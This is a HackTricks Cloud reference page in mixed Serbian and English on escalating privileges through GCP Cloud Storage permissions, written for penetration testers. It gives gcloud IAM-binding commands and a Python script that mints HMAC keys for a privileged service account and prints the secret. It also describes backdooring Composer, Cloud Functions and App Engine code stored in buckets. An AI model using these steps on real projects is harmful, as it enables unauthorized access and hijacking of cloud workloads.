GCP - Storage Privesc
Tip
Nauči & vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Pogledajte subscription plans!
- Pridružite se 💬 Discord group or the telegram group or pratite nas na Twitter 🐦 @hacktricks_live.
- Podelite hacking tricks slanjem PR-ova na HackTricks i HackTricks Cloud github repos.
Storage
Osnovne informacije:
storage.objects.get
Ova dozvola vam omogućava da download files stored inside Cloud Storage. Ovo potencijalno može omogućiti eskalaciju privilegija jer su u nekim slučajevima sensitive information is saved there. Štaviše, neke GCP usluge čuvaju svoje informacije u buckets:
- GCP Composer: Kada kreirate Composer Environment, kod svih DAG-ova biće sačuvan unutar bucket. Ti zadaci mogu sadržavati interesantne informacije u svom kodu.
- GCR (Container Registry): image kontejnera se čuvaju u buckets, što znači da, ako možete čitati te buckets, bićete u mogućnosti da preuzmete image-e i search for leaks and/or source code.
storage.objects.setIamPolicy
Možete sebi dodeliti dozvolu da abuse any of the previous scenarios of this section.
# Add binding
gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>
# Remove binding
gcloud storage objects remove-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>
# Change Policy
gcloud storage objects set-iam-policy gs://<BUCKET_NAME>/<OBJECT_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY
storage.buckets.setIamPolicy
Za primer kako izmeniti dozvole koristeći ovu permisiju, pogledajte ovu stranicu:
# Add binding
gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>
# Remove binding
gcloud storage buckets remove-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>
# Change policy
gcloud storage buckets set-iam-policy gs://<BUCKET_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY
GCP - Public Buckets Privilege Escalation
storage.hmacKeys.create
Funkcija Cloud Storage-a “interoperability”, namenjena za cross-cloud interactions kao što je AWS S3, obuhvata kreiranje HMAC keys za Service Accounts i korisnike. Napadač može ovo iskoristiti generisanjem HMAC key za Service Account sa povišenim privilegijama, čime dolazi do eskalacije privilegija unutar Cloud Storage-a. Dok su HMAC keys povezani sa korisnicima moguće povući samo preko web console, access i secret keys ostaju trajno dostupni, što omogućava potencijalno čuvanje rezervnih pristupa. Nasuprot tome, HMAC keys vezani za Service Accounts su API-accessible, ali njihovi access i secret keys se nakon kreiranja ne mogu povući, što komplikuje obezbeđivanje trajnog pristupa.
# Create key
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
## If you have TROUBLES creating the HMAC key this was you can also do it contacting the API directly:
PROJECT_ID = '$PROJECT_ID'
TARGET_SERVICE_ACCOUNT = f"storage-sa@{PROJECT_ID}.iam.gserviceaccount.com"
ACCESS_TOKEN = "$CLOUDSDK_AUTH_ACCESS_TOKEN"
import requests
import json
key = requests.post(
f'https://www.googleapis.com/storage/v1/projects/{PROJECT_ID}/hmacKeys',
params={'access_token': ACCESS_TOKEN, 'serviceAccountEmail': TARGET_SERVICE_ACCOUNT}
).json()
#print(json.dumps(key, indent=4))
print(f'ID: {key["metadata"]["accessId"]}')
print(f'Secret: {key["secret"]}')
# Configure gsutil to use the HMAC key
gcloud config set pass_credentials_to_gsutil false
gsutil config -a
# Use it
gsutil ls gs://[BUCKET_NAME]
# Restore
gcloud config set pass_credentials_to_gsutil true
Još jedan exploit script za ovu metodu može se naći ovde.
storage.objects.create, storage.objects.delete = dozvole za upis u Storage
Da biste kreirali novi objekat unutar bucket-a potrebni su storage.objects.create i, prema the docs, takođe vam treba storage.objects.delete da biste izmenili postojeći objekat.
Veoma česta zloupotreba bucket-ova u koje možete pisati u cloud-u je kada bucket čuva fajlove web servera — moguće je smetnuti novi kod koji će biti korišćen od strane web aplikacije.
Composer
Composer je Apache Airflow koji se upravlja unutar GCP. Ima nekoliko interesantnih osobina:
- Radi unutar GKE cluster-a, pa je SA koji cluster koristi dostupan kodu koji se izvršava unutar Composera
- Svi delovi composer environment-a (code of DAGs, plugins i data) su smešteni unutar GCP bucket-a. Ako napadač ima dozvole za čitanje i pisanje nad njim, mogao bi da nadgleda bucket i kad god se DAG kreira ili ažurira, ubaci backdoored verziju tako da composer environment preuzme iz Storage-a backdoored verziju.
Možete naći PoC ovog napada u repo-u: https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs
Cloud Functions
- Cloud Functions kod se čuva u Storage-u i kad god se kreira nova verzija, kod se gurne u bucket i potom se od tog koda izgradi novi container. Dakle, prepisivanjem koda pre nego što se nova verzija izgradi moguće je naterati cloud function da izvrši proizvoljan kod.
Možete naći PoC ovog napada u repo-u: https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions
App Engine
AppEngine verzije generišu neke podatke unutar bucket-a u formatu imena: staging.<project-id>.appspot.com. Unutar ovog bucket-a moguće je naći folder nazvan ae koji će sadržati folder po verziji AppEngine aplikacije i unutar tih foldera biće moguće naći fajl manifest.json. Taj fajl sadrži json sa svim fajlovima koji moraju biti korišćeni za kreiranje određene verzije. Pored toga, moguće je naći stvarna imena fajlova, URL do njih unutar GCP bucket-a (fajlovi unutar bucket-a su promenili ime u svoj sha1 hash) i sha1 hash svakog fajla.
Napomena: nije moguće napraviti preuzimanje ovog bucket-a unapred zato što GCP korisnici nisu autorizovani da kreiraju bucket-ove koristeći domen appspot.com.
Međutim, sa pristupom za čitanje i pisanje nad ovim bucket-om moguće je eskalirati privilegije na SA vezan za App Engine verziju tako što ćete nadgledati bucket i svaki put kada se izvrši promena (nova verzija), modifikovati novu verziju što je brže moguće. Na taj način, container koji se kreira iz tog koda će izvršiti backdoored kod.
Navedeni napad se može izvesti na više različitih načina, svi počinju nadgledanjem bucket-a staging.<project-id>.appspot.com:
- Upload-ujte kompletan novi kod AppEngine verzije na drugi i dostupan bucket i pripremite
manifest.jsonfajl sa novim imenom bucket-a i sha1 hash-evima fajlova. Zatim, kada se nova verzija kreira unutar bucket-a, potrebno je samo izmenitimanifest.jsonfajl i upload-ovati zlonamerni. - Upload-ujte izmenjenu verziju
requirements.txtkoja će koristiti zlonamerni dependencies kod i ažurirajtemanifest.jsonfajl sa novim imenom fajla, URL-om i hash-om. - Upload-ujte izmenjeni
main.pyiliapp.yamlfajl koji će izvršavati zlonamerni kod i ažurirajtemanifest.jsonfajl sa novim imenom fajla, URL-om i hash-om.
Možete naći PoC ovog napada u repo-u: https://github.com/carlospolop/Monitor-Backdoor-AppEngine
GCR
- Google Container Registry čuva image-e unutar bucket-ova; ako možete da pišete u te bucket-ove, možda ćete moći da se lateralno pomerite tamo gde se ti bucket-ovi pokreću.
- Bucket koji koristi GCR će imati URL sličan
gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com(top-level subdomeni su specificirani here).
Tip
Ova usluga je deprecated pa ovaj napad više nije koristan. Pored toga, Artifact Registry, servis koji je zamenjuje, ne čuva image-e u bucket-ovima.
Referencije
Tip
Nauči & vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Pogledajte subscription plans!
- Pridružite se 💬 Discord group or the telegram group or pratite nas na Twitter 🐦 @hacktricks_live.
- Podelite hacking tricks slanjem PR-ova na HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

